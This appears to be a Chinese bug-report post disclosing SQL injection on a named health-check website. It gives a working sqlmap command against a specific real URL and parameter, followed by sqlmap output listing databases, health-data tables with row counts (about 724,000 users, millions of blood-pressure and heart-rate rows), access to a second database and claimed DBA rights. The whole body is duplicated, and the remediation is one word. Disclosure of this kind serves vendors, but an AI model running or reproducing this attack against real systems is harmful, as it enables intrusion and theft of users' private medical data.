体检宝某处SQL注入涉及72w用户信息+跨库查询dba

RT 厂商大哥 app加waf pc没加哦

 

注入点：
sqlmap.py -u "http://www.xueyazhushou.com/info/infocontent.php?info_id
=1" -D tijianshi --count --tables

数据库信息
 

available databases [5]:
[*] amh
[*] information_schema
[*] mysql
[*] performance_schema
[*] tijianshi

当前库表信息
 

Database: tijianshi
+---------------------------+---------+
| Table                     | Entries |
+---------------------------+---------+
| loveand_emo               | 5008927 |
| loveand_bloodPressure     | 4741975 |
| loveand_heartRate         | 4306167 |
| loveand_oxygen            | 3947519 |
| loveand_kkk               | 3768803 |
| loveand_wave              | 2539251 |
| loveand_emoCoin           | 1377344 |
| loveand_coin              | 1332896 |
| loveand_lungsBreath       | 725240  |
| loveand_users             | 724432  |
| loveand_stepCounter       | 627474  |
| loveand_device            | 560664  |
| loveand_bloodPressureCoin | 552874  |
| loveand_heartRateCoin     | 534761  |
| loveand_oxygenCoin        | 495911  |
| loveand_kkkCoin           | 474414  |
| loveand_waveCoin          | 474335  |
| loveand_breathRate        | 464993  |
| loveand_push              | 460668  |
| loveand_visionValue       | 390168  |
| loveand_listen            | 308340  |
| loveand_visionSemang      | 278497  |
| loveand_weight            | 254260  |
| loveand_stature           | 253355  |
| loveand_user_fix_hand     | 151242  |
| loveand_xinliYiyu         | 148954  |
| loveand_visonSeruo        | 146770  |
| loveand_bmi               | 131925  |
| loveand_visionSemangCoin  | 107117  |
| loveand_lungsBreathCoin   | 77208   |
| loveand_visionTrain4      | 63898   |
| loveand_msg               | 63851   |
| loveand_visionTrain2      | 56345   |
| loveand_visionTrain7      | 56038   |
| loveand_bloodPressTrain2  | 51639   |
| loveand_visionTrain3      | 50462   |
| loveand_visionTrain5      | 49252   |
| loveand_xinliKangya       | 48788   |
| loveand_visionTrain1      | 47949   |
| loveand_visionValueCoin   | 46934   |
| loveand_xinliZibi         | 45150   |
| loveand_coinGain          | 42592   |
| loveand_visionCoin4       | 42334   |
| loveand_visionTrain9      | 39516   |
| loveand_visionTrain6      | 36845   |
| loveand_visionCoin5       | 32972   |
| loveand_listenCoin        | 32397   |
| loveand_visionCoin7       | 32212   |
| loveand_visionTrain8      | 32121   |
| loveand_visionCoin1       | 31517   |
| loveand_temperature       | 31273   |
| loveand_visionCoin2       | 31125   |
| loveand_visonSeruoCoin    | 31020   |
| loveand_comment           | 29835   |
| loveand_visionCoin3       | 27625   |
| loveand_weightTrain1      | 23881   |
| loveand_news              | 23798   |
| loveand_xinliYiyuCoin     | 21680   |
| loveand_visionCoin6       | 21120   |
| loveand_visionCoin9       | 20779   |
| loveand_visionCoin8       | 20163   |
| loveand_user_bind         | 19574   |
| loveand_bloodPressTrain1  | 19063   |
| loveand_info_comment      | 17747   |
| loveand_weightCoin1       | 17726   |
| loveand_user_notice       | 15112   |
| loveand_listenTrain1      | 12164   |
| loveand_xinliKangyaCoin   | 10889   |
| loveand_bloodPressCoin1   | 8643    |
| loveand_coin_store        | 8331    |
| loveand_listenTrain2      | 7817    |
| loveand_xinliZibiCoin     | 7731    |
| loveand_listenCoin1       | 7161    |
| loveand_listenTrain4      | 6349    |
| loveand_listenTrain3      | 6190    |
| loveand_listenTrain5      | 5942    |
| loveand_listenCoin2       | 5353    |
| loveand_listenCoin4       | 4501    |
| loveand_listenCoin3       | 4493    |
| loveand_listenCoin5       | 4311    |
| loveand_feedback          | 3133    |
| loveand_user_fix          | 2885    |
| loveand_user_msg          | 2832    |
| loveand_weightTrain2      | 1393    |
| loveand_user_friends      | 1365    |
| loveand_info              | 1299    |
| loveand_weightCoin2       | 1184    |
| loveand_blacklist         | 193     |
| loveand_user_fix_cal      | 157     |
| loveand_user_family       | 51      |
| loveand_infoclass         | 15      |
| loveand_newsclass         | 7       |
| loveand_banner            | 4       |
| loveand_admin             | 2       |
| loveand_push_sys          | 1       |
| loveand_weixin            | 1       |
+---------------------------+---------+

垮裤查询
 

Database: amh
+------------+---------+
| Table      | Entries |
+------------+---------+
| amh_config | 9       |
| amh_login  | 9       |
| amh_log    | 8       |
| amh_ftp    | 1       |
| amh_host   | 1       |
| amh_user   | 1       |
+------------+---------+

dba权限
 

 

 

注入点：
sqlmap.py -u "http://www.xueyazhushou.com/info/infocontent.php?info_id
=1" -D tijianshi --count --tables

数据库信息
 

available databases [5]:
[*] amh
[*] information_schema
[*] mysql
[*] performance_schema
[*] tijianshi

当前库表信息
 

Database: tijianshi
+---------------------------+---------+
| Table                     | Entries |
+---------------------------+---------+
| loveand_emo               | 5008927 |
| loveand_bloodPressure     | 4741975 |
| loveand_heartRate         | 4306167 |
| loveand_oxygen            | 3947519 |
| loveand_kkk               | 3768803 |
| loveand_wave              | 2539251 |
| loveand_emoCoin           | 1377344 |
| loveand_coin              | 1332896 |
| loveand_lungsBreath       | 725240  |
| loveand_users             | 724432  |
| loveand_stepCounter       | 627474  |
| loveand_device            | 560664  |
| loveand_bloodPressureCoin | 552874  |
| loveand_heartRateCoin     | 534761  |
| loveand_oxygenCoin        | 495911  |
| loveand_kkkCoin           | 474414  |
| loveand_waveCoin          | 474335  |
| loveand_breathRate        | 464993  |
| loveand_push              | 460668  |
| loveand_visionValue       | 390168  |
| loveand_listen            | 308340  |
| loveand_visionSemang      | 278497  |
| loveand_weight            | 254260  |
| loveand_stature           | 253355  |
| loveand_user_fix_hand     | 151242  |
| loveand_xinliYiyu         | 148954  |
| loveand_visonSeruo        | 146770  |
| loveand_bmi               | 131925  |
| loveand_visionSemangCoin  | 107117  |
| loveand_lungsBreathCoin   | 77208   |
| loveand_visionTrain4      | 63898   |
| loveand_msg               | 63851   |
| loveand_visionTrain2      | 56345   |
| loveand_visionTrain7      | 56038   |
| loveand_bloodPressTrain2  | 51639   |
| loveand_visionTrain3      | 50462   |
| loveand_visionTrain5      | 49252   |
| loveand_xinliKangya       | 48788   |
| loveand_visionTrain1      | 47949   |
| loveand_visionValueCoin   | 46934   |
| loveand_xinliZibi         | 45150   |
| loveand_coinGain          | 42592   |
| loveand_visionCoin4       | 42334   |
| loveand_visionTrain9      | 39516   |
| loveand_visionTrain6      | 36845   |
| loveand_visionCoin5       | 32972   |
| loveand_listenCoin        | 32397   |
| loveand_visionCoin7       | 32212   |
| loveand_visionTrain8      | 32121   |
| loveand_visionCoin1       | 31517   |
| loveand_temperature       | 31273   |
| loveand_visionCoin2       | 31125   |
| loveand_visonSeruoCoin    | 31020   |
| loveand_comment           | 29835   |
| loveand_visionCoin3       | 27625   |
| loveand_weightTrain1      | 23881   |
| loveand_news              | 23798   |
| loveand_xinliYiyuCoin     | 21680   |
| loveand_visionCoin6       | 21120   |
| loveand_visionCoin9       | 20779   |
| loveand_visionCoin8       | 20163   |
| loveand_user_bind         | 19574   |
| loveand_bloodPressTrain1  | 19063   |
| loveand_info_comment      | 17747   |
| loveand_weightCoin1       | 17726   |
| loveand_user_notice       | 15112   |
| loveand_listenTrain1      | 12164   |
| loveand_xinliKangyaCoin   | 10889   |
| loveand_bloodPressCoin1   | 8643    |
| loveand_coin_store        | 8331    |
| loveand_listenTrain2      | 7817    |
| loveand_xinliZibiCoin     | 7731    |
| loveand_listenCoin1       | 7161    |
| loveand_listenTrain4      | 6349    |
| loveand_listenTrain3      | 6190    |
| loveand_listenTrain5      | 5942    |
| loveand_listenCoin2       | 5353    |
| loveand_listenCoin4       | 4501    |
| loveand_listenCoin3       | 4493    |
| loveand_listenCoin5       | 4311    |
| loveand_feedback          | 3133    |
| loveand_user_fix          | 2885    |
| loveand_user_msg          | 2832    |
| loveand_weightTrain2      | 1393    |
| loveand_user_friends      | 1365    |
| loveand_info              | 1299    |
| loveand_weightCoin2       | 1184    |
| loveand_blacklist         | 193     |
| loveand_user_fix_cal      | 157     |
| loveand_user_family       | 51      |
| loveand_infoclass         | 15      |
| loveand_newsclass         | 7       |
| loveand_banner            | 4       |
| loveand_admin             | 2       |
| loveand_push_sys          | 1       |
| loveand_weixin            | 1       |
+---------------------------+---------+

垮裤查询
 

Database: amh
+------------+---------+
| Table      | Entries |
+------------+---------+
| amh_config | 9       |
| amh_login  | 9       |
| amh_log    | 8       |
| amh_ftp    | 1       |
| amh_host   | 1       |
| amh_user   | 1       |
+------------+---------+

dba权限
 

 

解决方案：

过滤